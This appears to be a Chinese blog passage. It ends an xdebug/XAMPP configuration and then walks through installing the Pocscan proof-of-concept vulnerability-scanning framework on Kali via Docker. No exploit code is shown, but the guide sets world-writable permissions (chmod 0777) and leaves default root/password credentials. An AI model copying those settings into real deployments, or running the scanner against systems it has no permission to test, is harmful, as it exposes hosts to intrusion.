xdebug.collect_vars = 1
;开启性能分析
xdebug.profiler_enable=1
;性能分析日志保存目录
xdebug.profiler_output_dir = /data/logs/xdebug/
;性能分析日志文件名称
xdebug.profiler_output_name = cachegrind.out.log
;默认是如下格式,t时间,p进程id
;xdebug.profiler_output_name = cachegrind.out.%t.%p
;代码覆盖率
xdebug.coverage_enable = 1
;以下是远程调试配置
xdebug.remote_host= 127.0.0.1
xdebug.remote_connect_back = 1
xdebug.remote_port = 9000 xdebug.remote_log="/data/logs/xdebug/xdebug.log"

step 4:重启xampp

 此时在phpinfo页面上可以看到xdebug的信息



Kali安装pocscan

介绍

 简单记录在Kali下安装Pocscan,Pocscan是一款开源 Poc 调用框架,可轻松调用Pocsuite,Tangscan,Beebeeto,Knowsec老版本POC 按照官方规范编写的 Poc对目标域名进行扫描,并可以通过 Docker 一键部署。

  • Step 1:apt-get install docker

  • Step 2: 更改更新源列表(/etc/apt/source.list),往里面增加docker更新源。解决:
    没有可用的软件包 docker.io,但是它被其它的软件包引用了。
    E: 软件包 docker.io 没有可安装候选

    1
    deb http://http.debian.net/debian jessie-backports main
  • step 3:apt-get install docker.io

  • step 4:service docker start

  • step 5: docker pull daocloud.io/aber/pocscan:latest

  • step 6: cd /

  • step 7: git clone https://github.com/erevus-cn/pocscan.git

  • step 8: chmod -R 0777 pocscan

  • step 9: docker run -d -v /pocscan:/www -p 8090:8000 -p 8088:8088 daocloud.io/aber/pocscan:latest

  • step 10: 访问本地8090端口,后台和终端的帐号是root,密码是password.

  • Step 11:安装google chrome,并把主目录下pocsuite中的pocscan.crx安装到chrome。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×